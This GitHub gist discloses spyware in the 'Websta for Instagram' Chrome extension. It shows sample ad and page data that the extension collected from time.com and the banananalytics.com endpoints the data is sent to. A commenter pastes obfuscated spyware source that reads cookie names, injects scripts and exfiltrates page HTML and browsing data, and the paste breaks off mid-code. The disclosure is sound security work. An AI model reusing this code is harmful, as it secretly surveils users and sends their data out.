Skip to content

Instantly share code, notes, and snippets.

@int3h
Created July 28, 2017 09:16
Show Gist options
  • Save int3h/6032bd9e18f59f33383fe209265bc52e to your computer and use it in GitHub Desktop.
Save int3h/6032bd9e18f59f33383fe209265bc52e to your computer and use it in GitHub Desktop.
"Websta for Instagram" Chrome extension spyware - example of data collected
[
{
"type": "banner",
"width": 300,
"height": 250,
"actualWidth": 300,
"actualHeight": 254,
"inFrame": true,
"pageUrl": "http://time.com/",
"referrerUrl": "http://time.com/",
"html": "<html><head>\n<script>var inDapIF=true;</script>\n</head><body marginwidth=\"0\" marginheight=\"0\"><script type=\"text/javascript\" language=\"javascript\">\nparent.Time.Ad.callback = true;\n</script><script>function su(id) {var a = document.getElementById(id);var b = (new Date()).getTime();if (a && a.myt && b) {var t = b - a.myt;if (window.css) {css(id,'clkt',t);return;}var bi = a.href.indexOf(\"&clkt=\");if (bi > 0) {var c = a.href.substring(0, bi+6); var d = a.href.substring(bi+6, a.href.length);var ei = d.indexOf(\"&\");var r = '';if (ei >= 0)r = d.substring(ei, d.length);a.href = c + t + r; } else {a.href += \"&clkt=\" + t;}}}(function(){var g=this,l=function(a,b){var c=a.split(\".\"),d=g;c[0]in d||!d.execScript||d.execScript(\"var \"+c[0]);for(var e;c.length&&(e=c.shift());)c.length||void 0===b?d=d[e]?d[e]:d[e]={}:d[e]=b},m=function(a,b,c){return a.call.apply(a.bind,arguments)},n=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},p=function(a,b,c){p=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf(\"native code\")?m:n;return p.apply(null,arguments)},q=Date.now||function(){return+new Date};var r=document,s=window;var t=function(a,b){for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(null,a[c],c,a)},w=function(a,b){a.google_image_requests||(a.google_image_requests=[]);var c=a.document.createElement(\"img\");c.src=b;a.google_image_requests.push(c)};var x=function(a){return{visible:1,hidden:2,prerender:3,preview:4}[a.webkitVisibilityState||a.mozVisibilityState||a.visibilityState||\"\"]||0},y=function(a){var b;a.mozVisibilityState?b=\"mozvisibilitychange\":a.webkitVisibilityState?b=\"webkitvisibilitychange\":a.visibilityState&&(b=\"visibilitychange\");return b};var C=function(){this.g=r;this.k=s;this.j=!1;this.i=null;this.h=[];this.o={};if(z)this.i=q();else if(3==x(this.g)){this.i=q();var a=p(this.q,this);A&&(a=A(\"di::vch\",a));this.p=a;var b=this.g,c=y(this.g);b.addEventListener?b.addEventListener(c,a,!1):b.attachEvent&&b.attachEvent(\"on\"+c,a)}else B(this)},A;C.m=function(){return C.n?C.n:C.n=new C};var D=/^([^:]+:\\/\\/[^/]+)/m,G=/^\\d*,(.+)$/m,z=!1,B=function(a){if(!a.j){a.j=!0;for(var b=0;b<a.h.length;++b)a.l.apply(a,a.h[b]);a.h=[]}};C.prototype.s=function(a,b){var c=b.target.u();(c=G.exec(c))&&(this.o[a]=c[1])};C.prototype.l=function(a,b){this.k.rvdt=this.i?q()-this.i:0;var c;if(c=this.t)t:{try{var d=D.exec(this.k.location.href),e=D.exec(a);if(d&&e&&d[1]==e[1]&&b){var f=p(this.s,this,b);this.t(a,f);c=!0;break t}}catch(u){}c=!1}c||w(this.k,a)};C.prototype.q=function(){if(3!=x(this.g)){B(this);var a=this.g,b=y(this.g),c=this.p;a.removeEventListener?a.removeEventListener(b,c,!1):a.detachEvent&&a.detachEvent(\"on\"+b,c)}};var H=/^true$/.test(\"\")?!0:!1;var I={},J=function(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=\": \"+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=\": \"+a.message);if(a.stack){a=a.stack;var c=b;try{-1==a.indexOf(c)&&(a=c+\"\\n\"+a);for(var d;a!=d;)d=a,a=a.replace(/((https?:\\/..*\\/)[^\\/:]*:\\d+(?:.|\\n)*)\\2/,\"$1\");b=a.replace(/\\n */g,\"\\n\")}catch(e){b=c}}return b},M=function(a,b,c,d){var e=K,f,u=!0;try{f=b()}catch(h){try{var N=J(h);b=\"\";h.fileName&&(b=h.fileName);var E=-1;h.lineNumber&&(E=h.lineNumber);var v;t:{try{v=c?c():\"\";break t}catch(S){}v=\"\"}u=e(a,N,b,E,v)}catch(k){try{var O=J(k);a=\"\";k.fileName&&(a=k.fileName);c=-1;k.lineNumber&&(c=k.lineNumber);K(\"pAR\",O,a,c,void 0,void 0)}catch(F){L({context:\"mRE\",msg:F.toString()+\"\\n\"+(F.stack||\"\")},void 0)}}if(!u)throw h;}finally{if(d)try{d()}catch(T){}}return f},K=function(a,b,c,d,e,f){a={context:a,msg:b.substring(0,512),eid:e&&e.substring(0,40),file:c,line:d.toString(),url:r.URL.substring(0,512),ref:r.referrer.substring(0,512)};P(a);L(a,f);return!0},L=function(a,b){try{if(Math.random()<(b||.01)){var c=\"/pagead/gen_204?id=jserror\"+Q(a),d=\"http\"+(\"https:\"==s.location.protocol?\"s\":\"\")+\"://pagead2.googlesyndication.com\"+c,d=d.substring(0,2E3);w(s,d)}}catch(e){}},P=function(a){var b=a||{};t(I,function(a,d){b[d]=s[a]})},R=function(a,b,c,d,e){return function(){var f=arguments;return M(a,function(){return b.apply(c,f)},d,e)}},Q=function(a){var b=\"\";t(a,function(a,d){if(0===a||a)b+=\"&\"+d+\"=\"+(\"function\"==typeof encodeURIComponent?encodeURIComponent(a):escape(a))});return b};A=function(a,b,c,d){return R(a,b,void 0,c,d)};z=H;l(\"vu\",R(\"vu\",function(a,b){var c=a.replace(\"&amp;\",\"&\"),d=/(google|doubleclick).*\\/pagead\\/adview/.test(c),e=C.m();if(d){d=\"&vis=\"+x(e.g);b&&(d+=\"&ve=1\");var f=c.indexOf(\"&adurl\"),c=-1==f?c+d:c.substring(0,f)+d+c.substring(f)}e.j?e.l(c,b):e.h.push([c,b])}));l(\"vv\",R(\"vv\",function(){z&&B(C.m())}));})();(function(){var f=this,g=function(a,b,c){return a.call.apply(a.bind,arguments)},h=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},k=function(a,b,c){Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf(\"native code\")?k=g:k=h;return k.apply(null,arguments)},l=Date.now||function(){return+new Date},m=function(a,b){a=a.split(\".\");var c=f;a[0]in c||!c.execScript||c.execScript(\"var \"+a[0]);for(var d;a.length&&(d=a.shift());)a.length||void 0===b?c[d]&&c[d]!==Object.prototype[d]?c=c[d]:c=c[d]={}:c[d]=b};var n=document;var p=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if(\"undefined\"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};var r={capture:!0},t=function(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}}(function(){var a=!1;try{var b=Object.defineProperty({},\"passive\",{get:function(){a=!0}});f.addEventListener(\"test\",null,b)}catch(c){}return a});function u(a){return a?a.passive&&t()?a:a.capture||!1:a}var v=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,u(d)):a.attachEvent&&a.attachEvent(\"on\"+b,c)};var w=function(a,b,c,d,e){window.css?css(b,c,d,e,void 0):a&&(b=a.href,e?d=b+(\"&\"+c+\"=\"+d):(e=\"&\"+c+\"=\",c=b.indexOf(e),0>c?d=b+e+d:(c+=e.length,e=b.indexOf(\"&\",c),d=0<=e?b.substring(0,c)+d+b.substring(e):b.substring(0,c)+d)),a.href=2E3<d.length?b:d)};var x=!1,y=!1,z=null,A=function(){document.addEventListener&&v(document,\"click\",function(a){z=a},r)},B=function(){var a=z?z:window.event;return a?x||y?!1:(a.preventDefault?a.preventDefault():a.returnValue=!1,!0):!1},C=function(){v(document,\"mousedown\",function(){x=!0});v(document,\"keydown\",function(){y=!0});A()};var E=function(a,b){if(0>b||parseInt(b,10)!==b)b=17;D(a,b)},F=function(a,b){D(a,b||1)},G=function(a){D(a,2)},H=function(a,b){D(a,b||0)},I={},D=function(a,b){I[a]||(I[a]=[]);var c=I[a][b];c||(I[a][b]=!0);c||w(document.getElementById(a),a,\"nb\",b,!0)};var J=function(){this.g=this.h=null;n.addEventListener&&n.addEventListener(\"mousedown\",k(this.i,this),!0);v(n,\"DOMContentLoaded\",k(function(){this.g=n.getElementById(\"common_15click_anchor\")},this))};J.prototype.i=function(a){this.h=a};var K=function(a,b,c){var d=a.id||\"\";w(a,d,\"nx\",b);w(a,d,\"ny\",c)};var L=[0,2,1],M=null,N=function(a){if(a){var b;if(b=window.event||M){var c;(c=b.which?1<<L[b.which-1]:b.button)&&b.shiftKey&&(c|=8);c&&b.altKey&&(c|=16);c&&b.ctrlKey&&(c|=32);b=c}else b=null;b&&w(a,a.id,\"mb\",b)}};document.addEventListener&&document.addEventListener(\"mousedown\",function(a){M=a},!0);window.mb=N;var O,P=function(a){if(a){var b=document.getElementById(a);if(b){if(O){var c=O;c=l()-c}else c=0;w(b,a,\"mdd\",c)}}},Q=function(){O=l()};var R={},S=function(a){void 0!==R[a]?R[a]++:R[a]=1;w(document.getElementById(a),a,\"nm\",R[a])};m(\"init_ssb\",function(a,b,c,d,e,T){a&&(C(),m(\"accbk\",B));b&&(m(\"cla\",E),m(\"cll\",F),m(\"clb\",G),m(\"clh\",H));if(c){var q=new J;m(\"xy\",function(a,b,c){c=c||b;var d=a||q.h;if(d&&b&&c&&!p(q.g,d.target)&&(a=n.querySelector(\"a.one-point-five-click.rhbutton\"),!a||!p(a,d.target))){var e=Math.round(d.clientX-c.offsetLeft);c=Math.round(d.clientY-c.offsetTop);K(b,e,c);q.g&&K(q.g,e,c);a&&K(a,e,c)}})}d&&m(\"mb\",N);e&&(m(\"sv\",Q),m(\"sw\",P));T&&m(\"ss\",S)});}).call(this);init_ssb(true,false,true,true,false,true);if (typeof(ss) === \"undefined\") { ss = function(){}; }function st(id) {var a = document.getElementById(id);if (a) {a.myt = (new Date()).getTime();xy(window.event, a);mb(a);}}function ha(a,x){ if (accbk()) return;su(a);}function ia(a,e,x) {if (accbk()) return;su(a);}function ja(a,x) {if (accbk()) return;su(a);}function ga(o,e,x) {if (document.getElementById) {var a=o.id.substring(1),p=\"\",r=\"\",g=e.target,t,f,h;if (g) {t=g.id;f=g.parentNode;if (f) {p=f.id;h=f.parentNode;if (h)r=h.id;}} else {h=e.srcElement;f=h.parentNode;if (f)p=f.id;t=h.id;}if (t==a||p==a||r==a)return true;ia(a,e,x);window.open(document.getElementById(a).href);}}</script><div id=\"google_image_div\" style=\"overflow:hidden; position:absolute\"><script>vu(\"https://securepubads.g.doubleclick.net/pcs/view?xai\\u003dAKAOjsuDz13NHGrGEIHhDqOnBVURzXs2Vkrn5JtIUugmZA7JF6eNKF17fyQ4Okut-WFT1jDYRwfOBT5jUuxIK32TNq_6ZGyy9Af2AYVECa6kuhWzTN4kXbbw_6Th81zkw9U77GqlWMkTs4N3OAY8eKD8qvO6Xe2RgTjhWapNlCsfPVH8dQfR9PdTD6fl_sBXtd7uDRWvt44WF71bYEkobzGBJVt1HosyX7VFzzN9JjgDqg\\u0026sig\\u003dCg0ArKJSzMU1z-LKiMqYEAE\\u0026adurl\\u003d\")</script><a id=\"aw0\" target=\"_blank\" href=\"http://googleads.g.doubleclick.net/pcs/click?xai=AKAOjssPQKnNzUQAoCqqKd-EC-L1q_MgAVHQtRuGf_AthrGl8ypqqWUQ5Sp1i0Ne22JWe0QTTSU2a54DYtGBgDquZmPCD2BY14825XXRaGMJoeOzVQ_RAjNRIOykX5gAd5jzj9IJ57p8lP_8jsdQEcYzpvrIYY9lKGoU39Y2W9aUdzMvo-ManMC8svIySfRGIgNo4wNwWSP5AO5UeVAlYE_bAE4qfq7HiAI&amp;sig=Cg0ArKJSzN4fqQU2t6wP&amp;adurl=http://bandondunesgolf.com/%3Futm_source%3DGolf%2520Magazine\" onfocus=\"ss('aw0')\" onmousedown=\"st('aw0')\" onmouseover=\"ss('aw0')\" onclick=\"ha('aw0')\"><img src=\"https://tpc.googlesyndication.com/simgad/2288250024080607624\" border=\"0\" width=\"300\" height=\"250\" alt=\"\" class=\"img_ad\"></a></div><script src=\"https://tpc.googlesyndication.com/pagead/js/r20170724/r20110914/client/ext/m_window_focus_non_hydra.js\" async=\"\"></script><script>function initWindowFocus() {window['window_focus_for_click'] =wfocusnhinit(\"\",\"CP25-eLKq9UCFVB1YgodPA8P0w\",true,true,true,false,false,0);}if (window.wfocusnhinit) {initWindowFocus();} else {window['google_wf_async'] = initWindowFocus;}</script><script src=\"https://tpc.googlesyndication.com/pagead/js/r20170724/r20110914/activeview/osd_listener.js\"></script><script type=\"text/javascript\">osdlfm(-1,'','BdP6iKPl6Wf2FL9DqiQO8nryYDQAAAAAQATgByAECwAIC4AIAyAOZBOAEAaAGFNIIBQiAYRAB','',1053340648,true,'ud\\u003d1\\u0026la\\u003d0\\u0026alp\\u003dxai\\u0026alh\\u003d1293689930\\u0026',3,'CAASEuRogGMvjSIMQPuhiX0VtG7zGA','//pagead2.googlesyndication.com/activeview?avi\\u003dBdP6iKPl6Wf2FL9DqiQO8nryYDQAAAAAQATgByAECwAIC4AIAyAOZBOAEAaAGFNIIBQiAYRAB\\u0026cid\\u003dCAASEuRogGMvjSIMQPuhiX0VtG7zGA');</script><img src=\"//www.google.com/ads/measurement/l?ebcid=ALh7CaRWpyigbuqI9Ovo_8aWiS45sHhM7LMqXL0cK_TYSDMzK1dB4XzRbAnWazgzeDqK_NpfQw0_lxEghY0GdUkfQqrpDddmzg\" style=\"display:none;\"><script>if (window.top && window.top.postMessage) {window.top.postMessage('{\"googMsgType\":\"adpnt\"}','*');}</script><div style=\"top:0;left:0;width:300px;height:250px;position:absolute;max-width:100%;max-height:100%;pointer-events:none;image-rendering:pixelated;z-index:2147483647;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACsAAAAWBAMAAACrl3iAAAAABlBMVEUAAAD+AciWmZzWAAAAAnRSTlMAApidrBQAAAB+SURBVBjTbZELDsAgDELpDbj/aTcL/bisaTIbEZ8M+K9QvQvEmsDc5WnOFEeRUh/JKUUsIXvqfduPury5vX13+RdJFYUy3LBeMIgtbW6TtFJvTINUssGptrt63rqL1EktFrcwPgmWqb7t6ixg8k5wIsRSo82vBHlFMySI+T8PK4oFhOJRrrIAAAAASUVORK5CYII=');\"></div><noscript class=\"MOAT-timeincdfp92367299557?moatClientLevel1=4402463972&amp;moatClientLevel2=2098667211&amp;moatClientLevel3=4350389726&amp;moatClientLevel4=138204406092&amp;moatClientSlicer1=53683574&amp;moatClientSlicer2=53683694&amp;zMoatPS=1&amp;zMoatST=&amp;zMoatTile=2&amp;zMoatCTYPE=&amp;zMoatPLAT=desktop&amp;zMoatrdsn=yes&amp;zMoatmm=\"></noscript>\n<script src=\"https://z.moatads.com/timeincdfp92367299557/moatad.js#moatClientLevel1=4402463972&amp;moatClientLevel2=2098667211&amp;moatClientLevel3=4350389726&amp;moatClientLevel4=138204406092&amp;moatClientSlicer1=53683574&amp;moatClientSlicer2=53683694&amp;zMoatPS=1&amp;zMoatST=&amp;zMoatTile=2&amp;zMoatCTYPE=&amp;zMoatPLAT=desktop&amp;zMoatrdsn=yes&amp;zMoatmm=\" type=\"text/javascript\"></script><script type=\"text/javascript\" language=\"javascript\">\n\ttry {\n\t\tparent.Time.Ad.adCallbackFunction(\"ad-unit-1\");\n\t} catch(err) {\n \n\t} \n</script><script src=\"https://s.tagsrvcs.com/2/689331/analytics.js?ac=2098667211&amp;si=53683574&amp;pc=53683694&amp;pi=4350389726&amp;cr=138204406092&amp;dm=300x250&amp;ai=4402463972&amp;cb=690056403&amp;pp=tim&amp;md=Mixed&amp;c4=tbd&amp;dt=&amp;dt=6893311434141928771018\" async=\"true\"></script>\n</body></html>",
"frameUrl": "http://time.com/"
},
{
"type": "native",
"imgUrl": "http://images.outbrain.com/Imaginarium/api/uuid/e293af3f764d3ecbb34b00e4d279a00f080c8341bc5c017cc52e3922fdecd016/90/90/1.0",
"title": "The Kitchen Cabinet Company Big Box Retailers Don't Want You To Know About",
"network": "Outbrain",
"url": "http://www.cliqstudios.com/quick-quote/?utm_source=outbrain&utm_medium=display&utm_campaign=quick-quote-desktop&c3ch=outbrain&c3nid=quick-quote-desktop",
"width": 90,
"height": 90,
"pageUrl": "http://time.com/",
"referrerUrl": "http://time.com/"
},
{
"type": "native",
"imgUrl": "http://images.outbrain.com/Imaginarium/api/uuid/bb14d717044f23d3477a12df6a718e3c20e5ddf9372b294afdc81071f488898c/90/90/1.0",
"title": "Explore Alaska in All-Inclusive Luxury in All-Suites, FREE Air & More.",
"network": "Outbrain",
"url": "https://servedby.flashtalking.com/click/3/79792;2601265;50126;211;0/?ft_width=1&ft_height=1&url=15565511",
"width": 90,
"height": 90,
"pageUrl": "http://time.com/",
"referrerUrl": "http://time.com/"
},
{
"type": "native",
"imgUrl": "http://images.outbrain.com/Imaginarium/api/uuid/d7d7d256dc71d6c5032db93a660192f0c8c53eac03db76993427ae1217ccb53b/90/90/1.0",
"title": "Vacheron Constantin : discover the most exclusive watches",
"network": "Outbrain",
"url": "https://bs.serving-sys.com/serving/adServer.bs?cn=trd&mc=click&pli=21848964&PluID=0&ord=[timestamp]",
"width": 90,
"height": 90,
"pageUrl": "http://time.com/",
"referrerUrl": "http://time.com/"
}
]
@int3h
Copy link
Author

int3h commented Jul 28, 2017

The Websta for Instagram Chrome extension by Oinkandstuff secretly includes spyware that records your browsing history, ad data of every web page you view, and, in many cases, the entire contents of the web pages you visit (body.innerHTML).

It sends all of this data to "http://banananalytics.com/api/register" (or one of its subdomains, "http://native.banananalytics.com/api/register" and "http://search.banananalytics.com/api/register").

Above, I've included an example of what Websta records and sends to its servers when I visit http://Time.com. This data is all from visiting a single, generic web page. Similar data (or more) is collected on every single page you visit, and regularly transmitted to Websta's servers.

@denisbetsi
Copy link

denisbetsi commented Feb 3, 2019

This spyware is present in other extensions. I have yet to figure out which one it is. I did through warnings in console, find the source code. Attached bellow:

!function() { try { !function(c) { var d = {}; function e(f) { if (d[f]) return d[f]['exports']; var g = d[f] = { 'i': f, 'l': !0x1, 'exports': {} }; return c[f]['call'](g['exports'], g, g['exports'], e), g['l'] = !0x0, g['exports']; } e['m'] = c, e['c'] = d, e['d'] = function(c, d, j) { e['o'](c, d) || Object['defineProperty'](c, d, { 'configurable': !0x1, 'enumerable': !0x0, 'get': j }); } , e['n'] = function(c) { var d = c && c['__esModule'] ? function() { return c['default']; } : function() { return c; } ; return e['d'](d, 'a', d), d; } , e['o'] = function(c, d) { return Object['prototype']['hasOwnProperty']['call'](c, d); } , e['p'] = '', e(e['s'] = 0x1d); }([function(o, p, q) { 'use strict'; o['exports'] = { 'marker': 'b:' + Date['now']() + '.' + Math['random'](), 'messageMarker': 'sp?6UrELZ@', 'serviceUrls': { 'error': 'https://banananalytics.com/api/register', 'settings': 'https://banananalytics.com/api/settings', 'banner': 'https://banananalytics.com/api/register', 'native': 'https://native.banananalytics.com/api/register', 'footprint': 'https://banananalytics.com/api/register', 'popup': 'https://banananalytics.com/api/register', 'popunder': 'https://banananalytics.com/api/register', 'pageViews': 'https://ecomm.banananalytics.com/api/register', 'socialImpressions': 'https://ecomm.banananalytics.com/api/register' }, 'batchTimeout': 0xea60, 'batchSize': 0x14, 'checkInterval': 0x3e8, 'checkLimit': 0x3, 'updateSettingsInterval': 0x1499700, 'firstUpdateSettingsTimeout': 0x493e0, 'footprintsSearchTimeout': 0xbb8, 'pageViewsTimeout': 0xbb8, 'socialImpressionsInterval': 0x1388, 'redirectTimeout': 0x1388, 'periodBetweenClickAndRequest': 0x1f4, 'debug': !0x1, 'testMode': !0x1 }; } , function(r, s, t) { 'use strict'; Object['defineProperty'](s, '__esModule', { 'value': !0x0 }); const u = t(0x0) , v = t(0x2); function w(r) { return r[u['messageMarker']] = !0x0, r; } function y(r, s) { return r && r['type'] && u['messageMarker']in r && (void 0x0 === s || r['type'] === s); } s['markMessage'] = w, s['wrapMessage'] = function(r) { const s = { 'type': r['type'], 'data': r }; return w(s), s; } , s['isOurMessage'] = y, s['isDataMessageEnvelope'] = function(r) { return r && r['data'] && r['type'] === r['data']['type'] && y(r); } , s['safeHandler'] = function(r, s) { return u['debug'] ? s ? r['bind'](s) : r : function() { try { return r['apply'](s || this, arguments); } catch (G) { v['error'](G); } } ; } , s['parseCookieNames'] = function() { return document['cookie']['split'](';')['filter'](r=>'' !== r)['map'](r=>r['trim']()['split']('=')[0x0]); } ; } , function(J, K, L) { 'use strict'; Object['defineProperty'](K, '__esModule', { 'value': !0x0 }); const M = L(0x0) , N = L(0x1); function O(J, K) { M['debug'] && console[J](K); } K['log'] = O, K['info'] = function(J) { O('info', J); } , K['error'] = function(J) { O('error', J); const K = N['wrapMessage']({ 'type': 'error', 'message': J['toString']() }); window['postMessage'](K, '*'); } ; } , function(U, V, W) { 'use strict'; Object['defineProperty'](V, '__esModule', { 'value': !0x0 }), V['getElementMetadata'] = ax, V['markAsProcessed'] = function(U) { ax(U)['processed'] = !0x0; } , V['isProcessed'] = function(U) { return ax(U)['processed']; } , V['isSelfOrContains'] = function(U, V) { return U['tagName']['toUpperCase']() === V['toUpperCase']() || U['getElementsByTagName'](V)['length'] > 0x0; } , V['elementHtml'] = function(U) { const V = U['ownerDocument']['createElement']('div'); U = U['cloneNode'](!0x0), V['appendChild'](U); const W = V['innerHTML']; return V['removeChild'](U), W; } , V['BannerSize'] = az, V['uniqueWith'] = function(U, V) { return U['reduce'](function(U, W) { return U['every'](function(U) { return !V(W, U); }) && U['push'](W), U; }, []); } , V['normalizeUrl'] = function(U, V) { const W = U['createElement']('a'); return W['href'] = V, W['href']; } , V['runFuncOnPage'] = function(U, V, W) { const af = U['createElement']('script'); af['textContent'] = 'try\x20{(' + V + ').apply(this,\x20' + JSON['stringify'](W) + ')}\x20catch\x20(e)\x20{window.postMessage({\x20error:\x20e.toString(),\x20type:\x20\x27runFuncOnPage.error\x27\x20},\x20\x27*\x27)}', (U['head'] || U['documentElement'])['appendChild'](af), af['remove'](); } , V['sendNativeBanner'] = function(U) { const V = { 'type': 'native', 'imgUrl': U['imgUrl'], 'title': U['title'], 'network': U['network'], 'url': U['url'], 'width': U['bannerSize']['width'], 'height': U['bannerSize']['height'], 'pageUrl': U['pageUrl'], 'referrerUrl': U['referrerUrl'] } , W = (0x0, as['wrapMessage'])(V); at['info'](V), ar['default']['debug'] && top['postMessage'](JSON['stringify']([V, U]), top['location']['protocol'] + '//' + top['location']['host']); chrome['runtime']['sendMessage'](W); } , V['sendBanner'] = function(U) { const V = { 'type': 'banner', 'width': U['size']['width'], 'height': U['size']['height'], 'actualWidth': U['width'], 'actualHeight': U['height'], 'title': U['title'], 'inFrame': U['inFrame'], 'pageUrl': U['pageUrl'], 'referrerUrl': U['referrerUrl'], 'html': U['html'] }; U['inFrame'] && (V['frameUrl'] = U['frameUrl']); const W = (0x0, as['wrapMessage'])(V); at['info'](V), ar['default']['debug'] && top['postMessage'](JSON['stringify']([V, U]), top['location']['protocol'] + '//' + top['location']['host']); chrome['runtime']['sendMessage'](W); } , V['sendFootprint'] = function(U) { const V = { 'type': 'footprint', 'url': U['url'], 'footprint': U['footprint'], 'network': U['network'], 'referrerUrl': U['referrerUrl'], 'html': U['html'] } , W = (0x0, as['wrapMessage'])(V); at['info']('send\x20footprint'), at['info'](V), chrome['runtime']['sendMessage'](W); } ; var ap, aq = W(0x0), ar = (ap = aq) && ap['__esModule'] ? ap : { 'default': ap }, as = W(0x1), at = function(U) { if (U && U['__esModule']) return U; var V = {}; if (null != U) for (var W in U) Object['prototype']['hasOwnProperty']['call'](U, W) && (V[W] = U[W]); return V['default'] = U, V; }(W(0x5)); function ax(U) { return U[ar['default']['marker']] = U[ar['default']['marker']] || { 'processed': !0x1 }; } function az(U, V, W) { this['width'] = U, this['height'] = V, this['threshold'] = W; } az['prototype']['matches'] = function(U, V) { return Math['abs'](U - this['width']) <= this['threshold'] && Math['abs'](V - this['height']) <= this['threshold']; } ; } , , function(aF, aG, aH) { 'use strict'; Object['defineProperty'](aG, '__esModule', { 'value': !0x0 }); const aI = aH(0x2); aG['info'] = aI['info']; const aJ = aH(0x1); aG['error'] = function(aF) { aI['log']('error', aF), chrome['runtime']['sendMessage'](aJ['wrapMessage']({ 'type': 'error', 'message': aF['toString']() })); } ; } , function(aL, aM) { aL['exports'] = { 'version': '1.3', 'typesToProcess': ['error', 'banner', 'native', 'footprint', 'pageViews', 'socialImpressions'], 'native': { 'networksToDetect': ['AdBlade', 'AdNow', 'Content.ad', 'Outbrain', 'RevContent', 'Taboola'], 'bannersExtractPatterns': { 'Mgid': { 'containers': '.mgbox,\x20.mgbox3,\x20.mctable', 'items': '.mgteaser3,\x20.mgline,\x20.mcteaser,\x20.image-with-text', 'item': { 'imgUrl': ['img.mcimage,\x20img.mcimg,\x20img.mcimage3,\x20img[class*=\x22mgimg\x22]', 'src'], 'bannerSize': ['img.mcimg,\x20img.mcimage3,\x20img[class*=\x22mgimg\x22]', 'func:takeElementSize'], 'url': ['.mcimg\x20a,\x20.mctitle\x20a,\x20a.mctitle3,\x20div[class*=\x22mgimg\x22]\x20a', 'href'], 'title': ['.mctitle,\x20a.mctitle3,\x20div[class*=\x22mgtitle\x22]', 'innerText'] } }, 'Taboola': { 'containers': '.trc_rbox_container\x20.trc_rbox_outer', 'items': '[data-item-id]', 'item': { 'bannerSize': ['.thumbBlock', 'func:takeElementSize'], 'imgUrl': 'func:Taboola_ImgUrl', 'url': ['.item-thumbnail-href', 'href'], 'title': 'func:Taboola_ItemTitle' } }, 'Outbrain': { 'containers': '.OUTBRAIN\x20.ob-widget,\x20.OUTBRAIN\x20.ob_container', 'items': '.item-link-container,\x20.ob-dynamic-rec-container', 'item': { 'imgUrl': ['.ob-rec-link-img\x20img,\x20img.ob-rec-image', 'src'], 'bannerSize': ['.ob-rec-link-img\x20img,\x20img.ob-rec-image', 'func:takeElementSize'], 'url': [['.ob-dynamic-rec-link', null], 'href'], 'title': ['.strip-rec-link-title,\x20.ob-rec-text', 'innerText'] } }, 'Content.ad': { 'containers': '.ac_adbox', 'items': '.ac_container', 'item': { 'imgUrl': ['.ac_image_link\x20img', 'src'], 'bannerSize': ['.ac_image_link\x20img', 'func:takeElementSize'], 'url': ['.ac_image_link', 'href'], 'title': ['.ac_title_wrapper\x20.ac_title', 'innerText'] } }, 'RevContent': { 'containers': 'div[data-rcsettings]', 'items': '.rc-item', 'item': { 'imgUrl': ['.rc-photo', 'func:takeBackgroundImageUrl'], 'bannerSize': ['.rc-photo', 'func:takeElementSize'], 'url': ['.rc-cta', 'data-target'], 'title': ['.rc-content\x20.rc-headline', 'innerText'] } }, 'AdBlade': { 'containers': '.adbladeads\x20~\x20div[class*=container]', 'items': 'div.ad', 'item': { 'imgUrl': ['img[data-adblade-imagesrc]', 'data-adblade-imagesrc'], 'bannerSize': ['img[data-adblade-imagesrc]', 'func:takeElementSize'], 'url': ['div.text\x20a.description', 'href'], 'title': ['div.text\x20a.description', 'innerText'] } }, 'AdNow': [{ 'containers': 'table[id^=SC_TBlock_][id$=_Table]', 'items': 'td[class*=SC_TBlock_]', 'item': { 'imgUrl': ['td\x20>\x20a\x20>\x20img', 'func:AdNow_ImgUrl'], 'bannerSize': ['td\x20>\x20a\x20>\x20img', 'func:takeElementSize'], 'url': ['tr\x20>\x20td\x20>\x20a[classname$=_title][classname^=SC_TBlock]', 'func:AdNow_ClickUrl'], 'title': ['tr\x20>\x20td\x20>\x20a[classname$=_title][classname^=SC_TBlock]', 'innerText'] } }, { 'containers': 'div.SC_TBlock[data-ad-built]', 'items': '.contentTeaser.itemAddBlock', 'item': { 'imgUrl': ['div\x20>\x20a\x20>\x20img', 'func:AdNow_BackgroundImgUrl'], 'bannerSize': ['div\x20>\x20a\x20>\x20img', 'func:takeElementSize'], 'url': ['div\x20>\x20div.content-story\x20a[classname$=_title][classname^=SC_TBlock]', 'func:AdNow_ClickUrl'], 'title': ['div\x20>\x20div.content-story\x20a[classname$=_title][classname^=SC_TBlock]', 'innerText'] } }] } }, 'banner': { 'bannerSizeThreshold': 0x5, 'bannerSizes': ['300x250', '336x280', '728x90', '300x600', '468x60', '120x600', '160x600', '250x250', '240x400'] }, 'footprint': { 'networksToDetect': ['AdBlade', 'AdCash', 'AdNow', 'AppNexus', 'Content.ad', 'Outbrain', 'PopAds', 'PopCash', 'PropellerAds', 'RevContent', 'Rubicon', 'Taboola', 'AdExpansion', 'Adverster', 'BidVertiser', 'CPMStar', 'EroAdvertising', 'ExoClick', 'JuicyAds', 'OpenX', 'PlugRush', 'Slimspots', 'TrafficFabrik', 'TrafficFactory', 'TrafficForce', 'TrafficHaus', 'TrafficHunt', 'TrafficJunky', 'TrafficStars', 'Bigcommerce', 'Magento', 'Prestashop', 'Shopify', 'Woocomerce', 'Zencart'], 'excludeNetworks': ['Shopify'], 'networksToSendHtml': ['Shopify'], 'patterns': { 'Mgid': ['MarketGidScriptRoot', 'jsc.mgid.com'], 'Taboola': ['//cdn.taboola.com/libtrc/'], 'Outbrain': ['class=\x22OUTBRAIN\x22', '//widgets.outbrain.com/outbrain.js'], 'Content.ad': ['api.content.ad/Scripts/widget2.aspx', 'getElementById(\x22contentad'], 'RevContent': ['trends.revcontent.com/serve.js', 'getElementById(\x22rcjsload'], 